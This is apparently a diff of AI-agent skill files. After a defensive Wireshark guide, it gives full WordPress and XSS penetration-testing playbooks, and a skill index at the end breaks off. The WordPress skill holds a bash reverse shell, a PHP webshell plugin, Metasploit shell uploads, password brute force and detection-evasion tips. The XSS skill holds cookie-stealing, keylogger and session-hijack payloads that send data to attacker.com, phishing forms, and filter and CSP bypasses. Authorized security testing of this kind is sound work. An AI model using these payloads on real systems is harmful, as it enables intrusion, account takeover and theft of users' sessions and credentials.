## Core Workflow
### Phase 1: Capturing Network Traffic
#### Start Live Capture
Begin capturing packets on network interface:
```
1. Launch Wireshark
2. Select network interface from main screen
3. Click shark fin icon or double-click interface
4. Capture begins immediately
```
#### Capture Controls
| Action | Shortcut | Description |
|--------|----------|-------------|
| Start/Stop Capture | Ctrl+E | Toggle capture on/off |
| Restart Capture | Ctrl+R | Stop and start new capture |
| Open PCAP File | Ctrl+O | Load existing capture file |
| Save Capture | Ctrl+S | Save current capture |
#### Capture Filters
Apply filters before capture to limit data collection:
```
# Capture only specific host
host 192.168.1.100
# Capture specific port
port 80
# Capture specific network
net 192.168.1.0/24
# Exclude specific traffic
not arp
# Combine filters
host 192.168.1.100 and port 443
```
### Phase 2: Display Filters
#### Basic Filter Syntax
Filter captured packets for analysis:
```
# IP address filters
ip.addr == 192.168.1.1 # All traffic to/from IP
ip.src == 192.168.1.1 # Source IP only
ip.dst == 192.168.1.1 # Destination IP only
# Port filters
tcp.port == 80 # TCP port 80
udp.port == 53 # UDP port 53
tcp.dstport == 443 # Destination port 443
tcp.srcport == 22 # Source port 22
```
#### Protocol Filters
Filter by specific protocols:
```
# Common protocols
http # HTTP traffic
https or ssl or tls # Encrypted web traffic
dns # DNS queries and responses
ftp # FTP traffic
ssh # SSH traffic
icmp # Ping/ICMP traffic
arp # ARP requests/responses
dhcp # DHCP traffic
smb or smb2 # SMB file sharing
```
#### TCP Flag Filters
Identify specific connection states:
```
tcp.flags.syn == 1 # SYN packets (connection attempts)
tcp.flags.ack == 1 # ACK packets
tcp.flags.fin == 1 # FIN packets (connection close)
tcp.flags.reset == 1 # RST packets (connection reset)
tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN-only (initial connection)
```
#### Content Filters
Search for specific content:
```
frame contains "password" # Packets containing string
http.request.uri contains "login" # HTTP URIs with string
tcp contains "GET" # TCP packets with string
```
#### Analysis Filters
Identify potential issues:
```
tcp.analysis.retransmission # TCP retransmissions
tcp.analysis.duplicate_ack # Duplicate ACKs
tcp.analysis.zero_window # Zero window (flow control)
tcp.analysis.flags # Packets with issues
dns.flags.rcode != 0 # DNS errors
```
#### Combining Filters
Use logical operators for complex queries:
```
# AND operator
ip.addr == 192.168.1.1 && tcp.port == 80
# OR operator
dns || http
# NOT operator
!(arp || icmp)
# Complex combinations
(ip.src == 192.168.1.1 || ip.src == 192.168.1.2) && tcp.port == 443
```
### Phase 3: Following Streams
#### TCP Stream Reconstruction
View complete TCP conversation:
```
1. Right-click on any TCP packet
2. Select Follow > TCP Stream
3. View reconstructed conversation
4. Toggle between ASCII, Hex, Raw views
5. Filter to show only this stream
```
#### Stream Types
| Stream | Access | Use Case |
|--------|--------|----------|
| TCP Stream | Follow > TCP Stream | Web, file transfers, any TCP |
| UDP Stream | Follow > UDP Stream | DNS, VoIP, streaming |
| HTTP Stream | Follow > HTTP Stream | Web content, headers |
| TLS Stream | Follow > TLS Stream | Encrypted traffic (if keys available) |
#### Stream Analysis Tips
- Review request/response pairs
- Identify transmitted files or data
- Look for credentials in plaintext
- Note unusual patterns or commands
### Phase 4: Statistical Analysis
#### Protocol Hierarchy
View protocol distribution:
```
Statistics > Protocol Hierarchy
Shows:
- Percentage of each protocol
- Packet counts
- Bytes transferred
- Protocol breakdown tree
```
#### Conversations
Analyze communication pairs:
```
Statistics > Conversations
Tabs:
- Ethernet: MAC address pairs
- IPv4/IPv6: IP address pairs
- TCP: Connection details (ports, bytes, packets)
- UDP: Datagram exchanges
```
#### Endpoints
View active network participants:
```
Statistics > Endpoints
Shows:
- All source/destination addresses
- Packet and byte counts
- Geographic information (if enabled)
```
#### Flow Graph
Visualize packet sequence:
```
Statistics > Flow Graph
Options:
- All packets or displayed only
- Standard or TCP flow
- Shows packet timing and direction
```
#### I/O Graphs
Plot traffic over time:
```
Statistics > I/O Graph
Features:
- Packets per second
- Bytes per second
- Custom filter graphs
- Multiple graph overlays
```
### Phase 5: Security Analysis
#### Detect Port Scanning
Identify reconnaissance activity:
```
# SYN scan detection (many ports, same source)
ip.src == SUSPECT_IP && tcp.flags.syn == 1
# Review Statistics > Conversations for anomalies
# Look for single source hitting many destination ports
```
#### Identify Suspicious Traffic
Filter for anomalies:
```
# Traffic to unusual ports
tcp.dstport > 1024 && tcp.dstport < 49152
# Traffic outside trusted network
!(ip.addr == 192.168.1.0/24)
# Unusual DNS queries
dns.qry.name contains "suspicious-domain"
# Large data transfers
frame.len > 1400
```
#### ARP Spoofing Detection
Identify ARP attacks:
```
# Duplicate ARP responses
arp.duplicate-address-frame
# ARP traffic analysis
arp
# Look for:
# - Multiple MACs for same IP
# - Gratuitous ARP floods
# - Unusual ARP patterns
```
#### Examine Downloads
Analyze file transfers:
```
# HTTP file downloads
http.request.method == "GET" && http contains "Content-Disposition"
# Follow HTTP Stream to view file content
# Use File > Export Objects > HTTP to extract files
```
#### DNS Analysis
Investigate DNS activity:
```
# All DNS traffic
dns
# DNS queries only
dns.flags.response == 0
# DNS responses only
dns.flags.response == 1
# Failed DNS lookups
dns.flags.rcode != 0
# Specific domain queries
dns.qry.name contains "domain.com"
```
### Phase 6: Expert Information
#### Access Expert Analysis
View Wireshark's automated findings:
```
Analyze > Expert Information
Categories:
- Errors: Critical issues
- Warnings: Potential problems
- Notes: Informational items
- Chats: Normal conversation events
```
#### Common Expert Findings
| Finding | Meaning | Action |
|---------|---------|--------|
| TCP Retransmission | Packet resent | Check for packet loss |
| Duplicate ACK | Possible loss | Investigate network path |
| Zero Window | Buffer full | Check receiver performance |
| RST | Connection reset | Check for blocks/errors |
| Out-of-Order | Packets reordered | Usually normal, excessive is issue |
## Quick Reference
### Keyboard Shortcuts
| Action | Shortcut |
|--------|----------|
| Open file | Ctrl+O |
| Save file | Ctrl+S |
| Start/Stop capture | Ctrl+E |
| Find packet | Ctrl+F |
| Go to packet | Ctrl+G |
| Next packet | ↓ |
| Previous packet | ↑ |
| First packet | Ctrl+Home |
| Last packet | Ctrl+End |
| Apply filter | Enter |
| Clear filter | Ctrl+Shift+X |
### Common Filter Reference
```
# Web traffic
http || https
# Email
smtp || pop || imap
# File sharing
smb || smb2 || ftp
# Authentication
ldap || kerberos
# Network management
snmp || icmp
# Encrypted
tls || ssl
```
### Export Options
```
File > Export Specified Packets # Save filtered subset
File > Export Objects > HTTP # Extract HTTP files
File > Export Packet Dissections # Export as text/CSV
```
## Constraints and Guardrails
### Operational Boundaries
- Capture only authorized network traffic
- Handle captured data according to privacy policies
- Avoid capturing sensitive credentials unnecessarily
- Properly secure PCAP files containing sensitive data
### Technical Limitations
- Large captures consume significant memory
- Encrypted traffic content not visible without keys
- High-speed networks may drop packets
- Some protocols require plugins for full decoding
### Best Practices
- Use capture filters to limit data collection
- Save captures regularly during long sessions
- Use display filters rather than deleting packets
- Document analysis findings and methodology
## Examples
### Example 1: HTTP Credential Analysis
**Scenario**: Investigate potential plaintext credential transmission
```
1. Filter: http.request.method == "POST"
2. Look for login forms
3. Follow HTTP Stream
4. Search for username/password parameters
```
**Finding**: Credentials transmitted in cleartext form data.
### Example 2: Malware C2 Detection
**Scenario**: Identify command and control traffic
```
1. Filter: dns
2. Look for unusual query patterns
3. Check for high-frequency beaconing
4. Identify domains with random-looking names
5. Filter: ip.dst == SUSPICIOUS_IP
6. Analyze traffic patterns
```
**Indicators**:
- Regular timing intervals
- Encoded/encrypted payloads
- Unusual ports or protocols
### Example 3: Network Troubleshooting
**Scenario**: Diagnose slow web application
```
1. Filter: ip.addr == WEB_SERVER
2. Check Statistics > Service Response Time
3. Filter: tcp.analysis.retransmission
4. Review I/O Graph for patterns
5. Check for high latency or packet loss
```
**Finding**: TCP retransmissions indicating network congestion.
## Troubleshooting
### No Packets Captured
- Verify correct interface selected
- Check for admin/root permissions
- Confirm network adapter is active
- Disable promiscuous mode if issues persist
### Filter Not Working
- Verify filter syntax (red = error)
- Check for typos in field names
- Use Expression button for valid fields
- Clear filter and rebuild incrementally
### Performance Issues
- Use capture filters to limit traffic
- Split large captures into smaller files
- Disable name resolution during capture
- Close unnecessary protocol dissectors
### Cannot Decrypt TLS/SSL
- Obtain server private key
- Configure at Edit > Preferences > Protocols > TLS
- For ephemeral keys, capture pre-master secret from browser
- Some modern ciphers cannot be decrypted passively

View File

@@ -0,0 +1,482 @@
---
name: WordPress Penetration Testing
description: This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.
---
# WordPress Penetration Testing
## Purpose
Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.
## Prerequisites
### Required Tools
- WPScan (pre-installed in Kali Linux)
- Metasploit Framework
- Burp Suite or OWASP ZAP
- Nmap for initial discovery
- cURL or wget
### Required Knowledge
- WordPress architecture and structure
- Web application testing fundamentals
- HTTP protocol understanding
- Common web vulnerabilities (OWASP Top 10)
## Outputs and Deliverables
1. **WordPress Enumeration Report** - Version, themes, plugins, users
2. **Vulnerability Assessment** - Identified CVEs and misconfigurations
3. **Credential Assessment** - Weak password findings
4. **Exploitation Proof** - Shell access documentation
## Core Workflow
### Phase 1: WordPress Discovery
Identify WordPress installations:
```bash
# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"
# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php
# Check meta generator tag
curl -s http://target.com | grep "generator"
# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com
```
Key WordPress files and directories:
- `/wp-admin/` - Admin dashboard
- `/wp-login.php` - Login page
- `/wp-content/` - Themes, plugins, uploads
- `/wp-includes/` - Core files
- `/xmlrpc.php` - XML-RPC interface
- `/wp-config.php` - Configuration (not accessible if secure)
- `/readme.html` - Version information
### Phase 2: Basic WPScan Enumeration
Comprehensive WordPress scanning with WPScan:
```bash
# Basic scan
wpscan --url http://target.com/wordpress/
# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN
# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive
# Output to file
wpscan --url http://target.com -o results.txt
# JSON output
wpscan --url http://target.com -f json -o results.json
# Verbose output
wpscan --url http://target.com -v
```
### Phase 3: WordPress Version Detection
Identify WordPress version:
```bash
# WPScan version detection
wpscan --url http://target.com
# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="
# Check meta generator
curl -s http://target.com | grep 'name="generator"'
# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
```
Version sources:
- Meta generator tag in HTML
- readme.html file
- RSS/Atom feeds
- JavaScript/CSS file versions
### Phase 4: Theme Enumeration
Identify installed themes:
```bash
# Enumerate all themes
wpscan --url http://target.com -e at
# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt
# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive
# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
```
Theme vulnerability checks:
```bash
# Search for theme exploits
searchsploit wordpress theme <theme_name>
# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
```
### Phase 5: Plugin Enumeration
Identify installed plugins:
```bash
# Enumerate all plugins
wpscan --url http://target.com -e ap
# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp
# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive
# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed
# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
```
Common vulnerable plugins to check:
```bash
# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery
# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
```
### Phase 6: User Enumeration
Discover WordPress users:
```bash
# WPScan user enumeration
wpscan --url http://target.com -e u
# Enumerate specific number of users
wpscan --url http://target.com -e u1-100
# Author ID enumeration (manual)
for i in {1..20}; do
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done
# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users
# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
```
### Phase 7: Comprehensive Enumeration
Run all enumeration modules:
```bash
# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u
# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe
# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u - Users (1-10)
# cb - Config backups
# dbe - Database exports
# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
--detection-mode aggressive \
--plugins-detection aggressive
```
### Phase 8: Password Attacks
Brute-force WordPress credentials:
```bash
# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
```
Password attack methods:
- `wp-login` - Standard login form
- `xmlrpc` - XML-RPC multicall (faster)
- `xmlrpc-multicall` - Multiple passwords per request
### Phase 9: Vulnerability Exploitation
#### Metasploit Shell Upload
After obtaining credentials:
```bash
# Start Metasploit
msfconsole
# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
```
#### Plugin Exploitation
```bash
# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit
# Search for WordPress exploits
search type:exploit platform:php wordpress
```
#### Manual Exploitation
Theme/plugin editor (with admin access):
```php
// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>
// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php
```
Plugin upload method:
```bash
# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
EOF
# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php
# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
```
### Phase 10: Advanced Techniques
#### XML-RPC Exploitation
```bash
# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php
# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
```
#### Scanning Through Proxy
```bash
# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080
# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
```
#### HTTP Authentication
```bash
# Basic authentication
wpscan --url http://target.com --http-auth admin:password
# Force SSL/TLS
wpscan --url https://target.com --disable-tls-checks
```
## Quick Reference
### WPScan Enumeration Flags
| Flag | Description |
|------|-------------|
| `-e at` | All themes |
| `-e vt` | Vulnerable themes |
| `-e ap` | All plugins |
| `-e vp` | Vulnerable plugins |
| `-e u` | Users (1-10) |
| `-e cb` | Config backups |
| `-e dbe` | Database exports |
### Common WordPress Paths
| Path | Purpose |
|------|---------|
| `/wp-admin/` | Admin dashboard |
| `/wp-login.php` | Login page |
| `/wp-content/uploads/` | User uploads |
| `/wp-includes/` | Core files |
| `/xmlrpc.php` | XML-RPC API |
| `/wp-json/` | REST API |
### WPScan Command Examples
| Purpose | Command |
|---------|---------|
| Basic scan | `wpscan --url http://target.com` |
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
## Constraints and Limitations
### Legal Considerations
- Obtain written authorization before testing
- Stay within defined scope
- Document all testing activities
- Follow responsible disclosure
### Technical Limitations
- WAF may block scanning
- Rate limiting may prevent brute-force
- Some plugins may have false negatives
- XML-RPC may be disabled
### Detection Evasion
- Use random user agents: `--random-user-agent`
- Throttle requests: `--throttle 1000`
- Use proxy rotation
- Avoid aggressive modes on monitored sites
## Troubleshooting
### WPScan Shows No Vulnerabilities
**Solutions:**
1. Use API token for vulnerability database
2. Try aggressive detection mode
3. Check for WAF blocking scans
4. Verify WordPress is actually installed
### Brute-Force Blocked
**Solutions:**
1. Use XML-RPC method instead of wp-login
2. Add throttling: `--throttle 500`
3. Use different user agents
4. Check for IP blocking/fail2ban
### Cannot Access Admin Panel
**Solutions:**
1. Verify credentials are correct
2. Check for two-factor authentication
3. Look for IP whitelist restrictions
4. Check for login URL changes (security plugins)

View File

@@ -0,0 +1,496 @@
---
name: Cross-Site Scripting and HTML Injection Testing
description: This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
---
# Cross-Site Scripting and HTML Injection Testing
## Purpose
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
## Inputs / Prerequisites
### Required Access
- Target web application URL with user input fields
- Burp Suite or browser developer tools for request analysis
- Access to create test accounts for stored XSS testing
- Browser with JavaScript console enabled
### Technical Requirements
- Understanding of JavaScript execution in browser context
- Knowledge of HTML DOM structure and manipulation
- Familiarity with HTTP request/response headers
- Understanding of cookie attributes and session management
### Legal Prerequisites
- Written authorization for security testing
- Defined scope including target domains and features
- Agreement on handling of any captured session data
- Incident response procedures established
## Outputs / Deliverables
- XSS/HTMLi vulnerability report with severity classifications
- Proof-of-concept payloads demonstrating impact
- Session hijacking demonstrations (controlled environment)
- Remediation recommendations with CSP configurations
## Core Workflow
### Phase 1: Vulnerability Detection
#### Identify Input Reflection Points
Locate areas where user input is reflected in responses:
```
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
```
#### Basic Detection Testing
Insert test strings to observe application behavior:
```html
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')>
<!-- Body event test -->
<body onload=alert('XSS')>
```
Monitor for:
- Raw HTML reflection without encoding
- Partial encoding (some characters escaped)
- JavaScript execution in browser console
- DOM modifications visible in inspector
#### Determine XSS Type
**Stored XSS Indicators:**
- Input persists after page refresh
- Other users see injected content
- Content stored in database/filesystem
**Reflected XSS Indicators:**
- Input appears only in current response
- Requires victim to click crafted URL
- No persistence across sessions
**DOM-Based XSS Indicators:**
- Input processed by client-side JavaScript
- Server response doesn't contain payload
- Exploitation occurs entirely in browser
### Phase 2: Stored XSS Exploitation
#### Identify Storage Locations
Target areas with persistent user content:
```
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
```
#### Craft Persistent Payloads
```html
<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>
```
### Phase 3: Reflected XSS Exploitation
#### Construct Malicious URLs
Build URLs containing XSS payloads:
```
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
```
#### Delivery Methods
Techniques for delivering reflected XSS to victims:
```
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
```
### Phase 4: DOM-Based XSS Exploitation
#### Identify Vulnerable Sinks
Locate JavaScript functions that process user input:
```javascript
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
```
#### Identify Sources
Locate where user-controlled data enters the application:
```javascript
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
```
#### DOM XSS Payloads
```javascript
// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
```
### Phase 5: HTML Injection Techniques
#### Reflected HTML Injection
Modify page appearance without JavaScript:
```html
<!-- Content injection -->
<h1>SITE HACKED</h1>
<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
```
#### Stored HTML Injection
Persistent content manipulation:
```html
<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>
<!-- Style override -->
<style>body{background:red !important;}</style>
<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
```
### Phase 6: Filter Bypass Techniques
#### Tag and Attribute Variations
```html
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
```
#### Encoding Bypass
```html
<!-- HTML entity encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<!-- Hex encoding -->
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
<!-- Unicode encoding -->
<script>\u0061lert(1)</script>
<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>
```
#### JavaScript Obfuscation
```javascript
// String concatenation
<script>eval('al'+'ert(1)')</script>
// Template literals
<script>alert`1`</script>
// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>
// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
```
#### Whitespace and Comment Bypass
```html
<!-- Tab/newline insertion -->
<img src=x onerror
=alert(1)>
<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>
<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->
```
## Quick Reference
### XSS Detection Checklist
```
1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential
```
### Common XSS Payloads
| Context | Payload |
|---------|---------|
| HTML body | `<script>alert(1)</script>` |
| HTML attribute | `"><script>alert(1)</script>` |
| JavaScript string | `';alert(1)//` |
| JavaScript template | `${alert(1)}` |
| URL attribute | `javascript:alert(1)` |
| CSS context | `</style><script>alert(1)</script>` |
| SVG context | `<svg onload=alert(1)>` |
### Cookie Theft Payload
```javascript
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
```
### Session Hijacking Template
```javascript
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
```
## Constraints and Guardrails
### Operational Boundaries
- Never inject payloads that could damage production systems
- Limit cookie/session capture to demonstration purposes only
- Avoid payloads that could spread to unintended users (worm behavior)
- Do not exfiltrate real user data beyond scope requirements
### Technical Limitations
- Content Security Policy (CSP) may block inline scripts
- HttpOnly cookies prevent JavaScript access
- SameSite cookie attributes limit cross-origin attacks
- Modern frameworks often auto-escape outputs
### Legal and Ethical Requirements
- Written authorization required before testing
- Report critical XSS vulnerabilities immediately
- Handle captured credentials per data protection agreements
- Do not use discovered vulnerabilities for unauthorized access
## Examples
### Example 1: Stored XSS in Comment Section
**Scenario**: Blog comment feature vulnerable to stored XSS
**Detection**:
```
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
```
**Observation**: Comment renders and script executes for all viewers
**Exploitation Payload**:
```html
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
```
**Result**: Every user viewing the comment has their session cookie sent to attacker's server.
### Example 2: Reflected XSS via Search Parameter
**Scenario**: Search results page reflects query without encoding
**Vulnerable URL**:
```
https://shop.example.com/search?q=test
```
**Detection Test**:
```
https://shop.example.com/search?q=<script>alert(document.domain)</script>
```
**Crafted Attack URL**:
```
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
```
**Delivery**: URL sent via phishing email to target user.
### Example 3: DOM-Based XSS via Hash Fragment
**Scenario**: JavaScript reads URL hash and inserts into DOM
**Vulnerable Code**:
```javascript
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
```
**Attack URL**:
```
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
```
**Result**: Script executes entirely client-side; payload never touches server.
### Example 4: CSP Bypass via JSONP Endpoint
**Scenario**: Site has CSP but allows trusted CDN
**CSP Header**:
```
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
```
**Bypass**: Find JSONP endpoint on trusted domain:
```html
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
```
**Result**: CSP bypassed using allowed script source.
## Troubleshooting
| Issue | Solutions |
|-------|-----------|
| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
| Payload appears but doesn't execute | Break out of attribute context with `"` or `'`; check if inside comment; test different contexts |
| Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |

View File

@@ -1,52 +1,268 @@
[
{
"id": "api-fuzzing-bug-bounty",
"path": "skills/api-fuzzing-bug-bounty",
"name": "API Fuzzing for Bug Bounty",
"description": "This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug bounty API testing\", or needs guidance on API security assessment techniques."
},
{
"id": "aws-penetration-testing",
"path": "skills/.disabled/aws-penetration-testing",
"name": "AWS Penetration Testing",
